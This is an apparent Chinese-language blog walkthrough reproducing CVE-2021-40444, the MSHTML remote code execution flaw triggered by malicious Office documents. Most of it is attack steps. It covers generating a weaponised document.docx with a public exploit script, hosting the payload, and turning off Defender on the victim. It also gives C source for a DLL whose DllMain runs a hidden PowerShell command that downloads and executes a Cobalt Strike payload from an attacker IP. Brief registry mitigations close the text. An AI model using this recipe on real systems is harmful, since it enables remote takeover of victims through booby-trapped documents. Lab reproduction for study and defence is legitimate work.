CVE-2021-40444复现 CVE-2021-40444

CVE-2021-40444复现漏洞描述
2021年9月8日，微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞，攻击者可通过制作恶意的ActiveX控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码，微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。
MSHTML(又称为Trident)是微软旗下的Internet Explorer浏览器引擎，也用于Office应用程序，以在Word、Excel或PowerPoint文档中呈现Web托管的内容，AcitveX控件是微软COM架构下的产物，在Windows的Office套件、IE浏览器中有广泛的应用，利用ActiveX控件即可与MSHTML组件进行交互。
影响范围

Windows Server, version 20H2 (Server Core Installation) Windows Server, version 2004 (Server Core installation) Windows Server 2022 (Server Core installation) Windows Server 2022 Windows Server 2019 (Server Core installation) Windows Server 2019 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows RT 8.1 Windows 8.1 for x64-based systems Windows 8.1 for 32-bit systems Windows 7 for x64-based Systems Service Pack 1 Windows 7 for 32-bit Systems Service Pack 1 Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows 10 Version 21H1 for x64-based Systems Windows 10 Version 21H1 for ARM64-based Systems Windows 10 Version 21H1 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 2004 for x64-based Systems Windows 10 Version 2004 for ARM64-based Systems Windows 10 Version 2004 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems

漏洞危害
未经身份验证的攻击者可以利用该漏洞在目标系统上执行代码。
漏洞复现
复现环境：win10（office10），kali2021
github地址：https://github.com/lockedbyte/CVE-2021-40444

文章图片

需要先安装lcab( lcab 包的官方下载地址已经无法下载，所以代替为 Debian 的官方下载地址）

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz tar zxvf lcab_1.0b12.orig.tar.gz cd lcab-1.0b12 ./configure make sudo make install

文章图片

文章图片

然后执行命令

python3 exploit.py generate test/calc.dll http://192.168.190.129:80

文章图片

可以看见在out目录下生成了document.docx文件;

文章图片

开启http服务

python exploit.py host 80

文章图片

文章图片

打开word.html文件可以看见，url是向外请求的cab文件链接

文章图片

接着把document.docx拉到受害机子双击打开(切记：这里受害机子一定要关闭denfender，同时ie浏览器也一定要启动运行Activex控件和插件！！！)

文章图片

文章图片

成功弹出计算器

文章图片

把document.docx文件解压，进到/word/rels/document.xml文件中可以看见，发现是通过MSHTML来进行远程代码执行。

文章图片

cs上线
cs生成ps payload;

文章图片

文章图片

写入1.c：

#include void exec(void) { system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://你的ip:你的端口/a'))\""); return; } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: exec(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }

文章图片

生成dll

sudo apt-get install gcc-mingw-w64 i686-w64-mingw32-gcc -shared 1.c -o 1.dll

文章图片

文章图片

受害机子成功上线~

文章图片

缓解措施
1.在 Internet Explorer 中禁用所有 ActiveX 控件的安装。
2.将如下代码复制到文本文件中并以 .reg 文件扩展名保存：

Windows Registry EditorVersion 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\1] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\2] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3] "1001"=dword:00000003 "1004"=dword:00000003

b、双击.reg 文件，将其应用到策略配置单元；
【CVE-2021-40444复现】c、重新启动系统以确保应用新配置。